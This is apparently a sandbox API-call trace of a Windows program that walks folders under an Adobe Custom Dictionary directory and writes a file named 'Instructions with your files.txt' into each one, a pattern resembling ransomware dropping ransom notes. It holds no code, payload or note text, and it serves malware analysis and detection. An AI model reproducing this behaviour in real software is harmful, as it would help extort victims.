[0130.881] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0130.883] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\.") returned 107
[0130.883] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.883] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\..") returned 108
[0130.883] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="all", cAlternateFileName="")) returned 1
[0130.883] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all") returned 109
[0130.883] GetProcessHeap () returned 0x810000
[0130.883] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f1060
[0130.884] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all\\*") returned 111
[0130.884] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all\\*", lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876df8
[0130.884] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all\\.") returned 111
[0130.884] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.884] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all\\..") returned 112
[0130.884] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0130.884] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all\\Instructions with your files.txt") returned 142
[0130.884] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\linguistics\\dictionaries\\adobe custom dictionary\\all\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
[0130.885] WriteFile (in: hFile=0x124, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce1c4*=0x54, lpOverlapped=0x0) returned 1
[0130.885] WriteFile (in: hFile=0x124, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce1c4*=0x18, lpOverlapped=0x0) returned 1
[0130.886] WriteFile (in: hFile=0x124, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce1c4*=0xc, lpOverlapped=0x0) returned 1
[0130.886] WriteFile (in: hFile=0x124, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce1c4*=0x16, lpOverlapped=0x0) returned 1
[0130.886] WriteFile (in: hFile=0x124, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce1c4*=0x23, lpOverlapped=0x0) returned 1
[0130.886] CloseHandle (hObject=0x124) returned 1
[0130.886] FindClose (in: hFindFile=0x876df8 | out: hFindFile=0x876df8) returned 1
[0130.886] GetProcessHeap () returned 0x810000
[0130.886] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f1060 | out: hHeap=0x810000) returned 1
[0130.886] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeab70f70, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeab70f70, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeab70f70, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="brt", cAlternateFileName="")) returned 1
[0130.886] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt") returned 109
[0130.886] GetProcessHeap () returned 0x810000
[0130.886] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f1060
[0130.886] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt\\*") returned 111
[0130.886] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt\\*", lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeab70f70, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeab70f70, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeab70f70, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876df8
[0130.887] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt\\.") returned 111
[0130.887] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeab70f70, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeab70f70, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeab70f70, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.887] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt\\..") returned 112
[0130.887] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeab70f70, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeab70f70, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeab70f70, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0130.887] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt\\Instructions with your files.txt") returned 142
[0130.887] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\linguistics\\dictionaries\\adobe custom dictionary\\brt\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
[0130.888] WriteFile (in: hFile=0x124, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce1c4*=0x54, lpOverlapped=0x0) returned 1
[0130.888] WriteFile (in: hFile=0x124, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce1c4*=0x18, lpOverlapped=0x0) returned 1
[0130.888] WriteFile (in: hFile=0x124, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce1c4*=0xc, lpOverlapped=0x0) returned 1
[0130.889] WriteFile (in: hFile=0x124, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce1c4*=0x16, lpOverlapped=0x0) returned 1
[0130.889] WriteFile (in: hFile=0x124, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce1c4*=0x23, lpOverlapped=0x0) returned 1
[0130.889] CloseHandle (hObject=0x124) returned 1
[0130.889] FindClose (in: hFindFile=0x876df8 | out: hFindFile=0x876df8) returned 1
[0130.889] GetProcessHeap () returned 0x810000
[0130.889] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f1060 | out: hHeap=0x810000) returned 1
[0130.889] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec6bf330, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="brz", cAlternateFileName="")) returned 1
[0130.889] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz") returned 109
[0130.889] GetProcessHeap () returned 0x810000
[0130.889] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f1060
[0130.889] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz\\*") returned 111
[0130.889] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz\\*", lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec6bf330, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876df8
[0130.892] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz\\.") returned 111
[0130.892] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec6bf330, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.892] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz\\..") returned 112
[0130.892] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec6bf330, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0130.892] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz\\Instructions with your files.txt") returned 142
[0130.892] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\linguistics\\dictionaries\\adobe custom dictionary\\brz\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
[0130.892] WriteFile (in: hFile=0x124, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce1c4*=0x54, lpOverlapped=0x0) returned 1
[0130.893] WriteFile (in: hFile=0x124, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce1c4*=0x18, lpOverlapped=0x0) returned 1
[0130.894] WriteFile (in: hFile=0x124, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce1c4*=0xc, lpOverlapped=0x0) returned 1
[0130.894] WriteFile (in: hFile=0x124, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce1c4*=0x16, lpOverlapped=0x0) returned 1
[0130.894] WriteFile (in: hFile=0x124, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce1c4*=0x23, lpOverlapped=0x0) returned 1
[0130.894] CloseHandle (hObject=0x124) returned 1
[0130.894] FindClose (in: hFindFile=0x876df8 | out: hFindFile=0x876df8) returned 1
[0130.894] GetProcessHeap () returned 0x810000
[0130.894] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f1060 | out: hHeap=0x810000) returned 1
[0130.894] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb4758f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb4758f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb4758f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dan", cAlternateFileName="")) returned 1
[0130.894] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan") returned 109
[0130.894] GetProcessHeap () returned 0x810000
[0130.894] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f1060
[0130.894] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan\\*") returned 111
[0130.894] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan\\*", lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb4758f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb4758f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb4758f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876df8
[0130.894] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan\\.") returned 111
[0130.894] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb4758f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb4758f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb4758f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.895] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan\\..") returned 112
[0130.895] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb4758f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb4758f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb4758f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0130.895] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan\\Instructions with your files.txt") returned 142
[0130.895] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\linguistics\\dictionaries\\adobe custom dictionary\\dan\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
[0130.895] WriteFile (in: hFile=0x124, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce1c4*=0x54, lpOverlapped=0x0) returned 1
[0130.896] WriteFile (in: hFile=0x124, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce1c4*=0x18, lpOverlapped=0x0) returned 1
[0130.896] WriteFile (in: hFile=0x124, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce1c4*=0xc, lpOverlapped=0x0) returned 1
[0130.896] WriteFile (in: hFile=0x124, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce1c4*=0x16, lpOverlapped=0x0) returned 1
[0130.896] WriteFile (in: hFile=0x124, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce1c4*=0x23, lpOverlapped=0x0) returned 1
[0130.896] CloseHandle (hObject=0x124) returned 1
[0130.896] FindClose (in: hFindFile=0x876df8 | out: hFindFile=0x876df8) returned 1
[0130.896] GetProcessHeap () returned 0x810000
[0130.896] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f1060 | out: hHeap=0x810000) returned 1
[0130.896] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebdabf50, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xebdabf50, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xebdabf50, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dut", cAlternateFileName="")) returned 1
